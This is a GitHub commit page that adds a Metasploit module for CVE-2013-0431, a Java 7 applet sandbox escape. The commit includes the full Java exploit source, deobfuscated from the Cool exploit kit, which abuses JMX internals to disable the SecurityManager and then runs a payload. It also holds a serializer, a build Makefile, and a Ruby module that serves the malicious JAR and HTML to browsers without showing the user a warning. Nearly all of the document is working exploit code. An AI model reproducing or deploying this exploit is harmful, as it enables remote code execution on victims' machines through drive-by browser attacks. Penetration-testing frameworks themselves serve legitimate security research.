Skip to content

Commit 1446992

Browse files
committed
Merge jvazquez-r7's java exploit
2 parents 58205f1 + f04df63 commit 1446992

File tree

8 files changed

+297
-0
lines changed

8 files changed

+297
-0
lines changed

data/exploits/cve-2013-0431/B.class

619 Bytes
Binary file not shown.
2.68 KB
Binary file not shown.
1.48 KB
Binary file not shown.
Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
import java.security.AccessController;
2+
import java.security.PrivilegedExceptionAction;
3+
4+
public class B
5+
implements PrivilegedExceptionAction
6+
{
7+
public B()
8+
{
9+
try
10+
{
11+
AccessController.doPrivileged(this); } catch (Exception e) {
12+
}
13+
}
14+
15+
public Object run() {
16+
System.setSecurityManager(null);
17+
return new Object();
18+
}
19+
}
Lines changed: 93 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,93 @@
1+
/*
2+
* From Paunch with love (Java 1.7.0_11 Exploit)
3+
*
4+
* Deobfuscated from Cool EK by SecurityObscurity
5+
*
6+
* https://twitter.com/SecObscurity
7+
*/
8+
import java.applet.Applet;
9+
import com.sun.jmx.mbeanserver.Introspector;
10+
import com.sun.jmx.mbeanserver.JmxMBeanServer;
11+
import com.sun.jmx.mbeanserver.MBeanInstantiator;
12+
import java.lang.invoke.MethodHandle;
13+
import java.lang.invoke.MethodHandles.Lookup;
14+
import java.lang.invoke.MethodType;
15+
import java.lang.reflect.InvocationTargetException;
16+
import java.lang.reflect.Method;
17+
import javax.management.ReflectionException;
18+
import java.io.*;
19+
import metasploit.Payload;
20+
21+
public class Exploit extends Applet
22+
{
23+
24+
public void init()
25+
{
26+
27+
try
28+
{
29+
int length;
30+
byte[] buffer = new byte[5000];
31+
ByteArrayOutputStream os = new ByteArrayOutputStream();
32+
33+
// read in the class file from the jar
34+
InputStream is = getClass().getResourceAsStream("B.class");
35+
36+
// and write it out to the byte array stream
37+
while( ( length = is.read( buffer ) ) > 0 )
38+
os.write( buffer, 0, length );
39+
40+
// convert it to a simple byte array
41+
buffer = os.toByteArray();
42+
43+
Class class1 = gimmeClass("sun.org.mozilla.javascript.internal.Context");
44+
45+
Method method = getMethod(class1, "enter", true);
46+
Object obj = method.invoke(null, new Object[0]);
47+
Method method1 = getMethod(class1, "createClassLoader", false);
48+
Object obj1 = method1.invoke(obj, new Object[1]);
49+
50+
Class class2 = gimmeClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader");
51+
Method method2 = getMethod(class2, "defineClass", false);
52+
53+
Class my_class = (Class)method2.invoke(obj1, new Object[] { null, buffer });
54+
my_class.newInstance();
55+
56+
Payload.main(null);
57+
58+
}
59+
catch (Throwable localThrowable){}
60+
61+
}
62+
63+
64+
private Method getMethod(Class class1, String s, boolean flag)
65+
{
66+
try {
67+
Method[] amethod = (Method[])Introspector.elementFromComplex(class1, "declaredMethods");
68+
Method[] amethod1 = amethod;
69+
70+
for (int i = 0; i < amethod1.length; i++) {
71+
Method method = amethod1[i];
72+
String s1 = method.getName();
73+
Class[] aclass = method.getParameterTypes();
74+
if ((s1 == s) && ((!flag) || (aclass.length == 0))) return method;
75+
}
76+
} catch (Exception localException) { }
77+
78+
return null;
79+
}
80+
81+
private Class gimmeClass(String s) throws ReflectionException, ReflectiveOperationException
82+
{
83+
Object obj = null;
84+
JmxMBeanServer jmxmbeanserver = (JmxMBeanServer)JmxMBeanServer.newMBeanServer("", null, null, true);
85+
MBeanInstantiator mbeaninstantiator = jmxmbeanserver.getMBeanInstantiator();
86+
87+
Class class1 = Class.forName("com.sun.jmx.mbeanserver.MBeanInstantiator");
88+
Method method = class1.getMethod("findClass", new Class[] { String.class, ClassLoader.class });
89+
return (Class)method.invoke(mbeaninstantiator, new Object[] { s, obj });
90+
}
91+
92+
}
93+
Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
# rt.jar must be in the classpath!
2+
3+
CLASSES = \
4+
Exploit.java \
5+
B.java \
6+
Serializer.java
7+
8+
.SUFFIXES: .java .class
9+
.java.class:
10+
javac -source 1.2 -target 1.2 -cp "../../../../data/java:." $*.java
11+
12+
all: $(CLASSES:.java=.class)
13+
14+
install:
15+
java Serializer
16+
mv Exploit.class ../../../../data/exploits/cve-2013-0431/
17+
mv B.class ../../../../data/exploits/cve-2013-0431/
18+
mv Exploit.ser ../../../../data/exploits/cve-2013-0431/
19+
20+
clean:
21+
rm -rf *.class
22+
rm -rf *.ser
Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
import java.io.*;
2+
3+
public class Serializer {
4+
5+
public static void main(String [ ] args)
6+
{
7+
try {
8+
Exploit b=new Exploit(); // target Applet instance
9+
ByteArrayOutputStream baos=new ByteArrayOutputStream();
10+
ObjectOutputStream oos=new ObjectOutputStream(baos);
11+
oos.writeObject(b);
12+
FileOutputStream fos=new FileOutputStream("Exploit.ser");
13+
fos.write(baos.toByteArray());
14+
fos.close();
15+
} catch (Exception ex) {
16+
ex.printStackTrace();
17+
}
18+
}
19+
20+
}
Lines changed: 143 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,143 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'rex'
10+
11+
class Metasploit3 < Msf::Exploit::Remote
12+
Rank = ExcellentRanking
13+
14+
include Msf::Exploit::Remote::HttpServer::HTML
15+
include Msf::Exploit::EXE
16+
17+
include Msf::Exploit::Remote::BrowserAutopwn
18+
autopwn_info({ :javascript => false })
19+
20+
def initialize( info = {} )
21+
22+
super( update_info( info,
23+
'Name' => 'Java Applet JMX Remote Code Execution',
24+
'Description' => %q{
25+
This module abuses the JMX classes from a Java Applet to run arbitrary Java code
26+
outside of the sandbox as exploited in the wild in February of 2013. Additionally,
27+
this module bypasses default security settings introduced in Java 7 Update 10 to run
28+
unsigned applet without displaying any warning to the user.
29+
},
30+
'License' => MSF_LICENSE,
31+
'Author' =>
32+
[
33+
'Unknown', # Vulnerability discovery and exploit in the wild
34+
'Adam Gowdiak', # Vulnerability discovery
35+
'SecurityObscurity', # Exploit analysis and deobfuscation
36+
'juan vazquez' # Metasploit module
37+
],
38+
'References' =>
39+
[
40+
[ 'CVE', '2013-0431' ],
41+
[ 'OSVDB', '89613' ],
42+
[ 'BID', '57726' ],
43+
[ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-8.pdf' ],
44+
[ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-9.pdf' ],
45+
[ 'URL', 'http://security-obscurity.blogspot.com.es/2013/01/about-new-java-0-day-vulnerability.html' ],
46+
[ 'URL', 'http://pastebin.com/QWU1rqjf' ],
47+
[ 'URL', 'http://malware.dontneedcoffee.com/2013/02/cve-2013-0431-java-17-update-11.html' ]
48+
],
49+
'Platform' => [ 'java', 'win', 'osx', 'linux' ],
50+
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
51+
'Targets' =>
52+
[
53+
[ 'Generic (Java Payload)',
54+
{
55+
'Platform' => ['java'],
56+
'Arch' => ARCH_JAVA,
57+
}
58+
],
59+
[ 'Windows x86 (Native Payload)',
60+
{
61+
'Platform' => 'win',
62+
'Arch' => ARCH_X86,
63+
}
64+
],
65+
[ 'Mac OS X x86 (Native Payload)',
66+
{
67+
'Platform' => 'osx',
68+
'Arch' => ARCH_X86,
69+
}
70+
],
71+
[ 'Linux x86 (Native Payload)',
72+
{
73+
'Platform' => 'linux',
74+
'Arch' => ARCH_X86,
75+
}
76+
],
77+
],
78+
'DefaultTarget' => 0,
79+
'DisclosureDate' => 'Jan 19 2013'
80+
))
81+
end
82+
83+
def on_request_uri(cli, request)
84+
print_status("handling request for #{request.uri}")
85+
86+
case request.uri
87+
when /\.jar$/i
88+
print_status("Sending JAR")
89+
send_response( cli, generate_jar, { 'Content-Type' => "application/octet-stream" } )
90+
when /\/$/
91+
print_status("Sending HTML")
92+
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
93+
else
94+
send_redirect(cli, get_resource() + '/', '')
95+
end
96+
end
97+
98+
def generate_jar
99+
paths = [
100+
[ "Exploit.ser" ],
101+
[ "Exploit.class" ],
102+
[ "B.class" ]
103+
]
104+
105+
p = regenerate_payload(cli)
106+
107+
jar = p.encoded_jar
108+
109+
paths.each do |path|
110+
1.upto(path.length - 1) do |idx|
111+
full = path[0,idx].join("/") + "/"
112+
if !(jar.entries.map{|e|e.name}.include?(full))
113+
jar.add_file(full, '')
114+
end
115+
end
116+
fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2013-0431", path ), "rb")
117+
data = fd.read(fd.stat.size)
118+
jar.add_file(path.join("/"), data)
119+
fd.close
120+
end
121+
return jar.pack
122+
end
123+
124+
def generate_html
125+
html = <<-EOF
126+
<html>
127+
<script language="Javascript">
128+
129+
var _app = navigator.appName;
130+
131+
if (_app == 'Microsoft Internet Explorer') {
132+
document.write('<applet archive="#{rand_text_alpha(4+rand(4))}.jar" object="Exploit.ser"></applet>');
133+
} else {
134+
document.write('<embed object="Exploit.ser" type="application/x-java-applet;version=1.6" archive="#{rand_text_alpha(4+rand(4))}.jar"></embed>');
135+
}
136+
137+
</script>
138+
</html>
139+
EOF
140+
return html
141+
end
142+
143+
end

0 commit comments

Comments
 (0)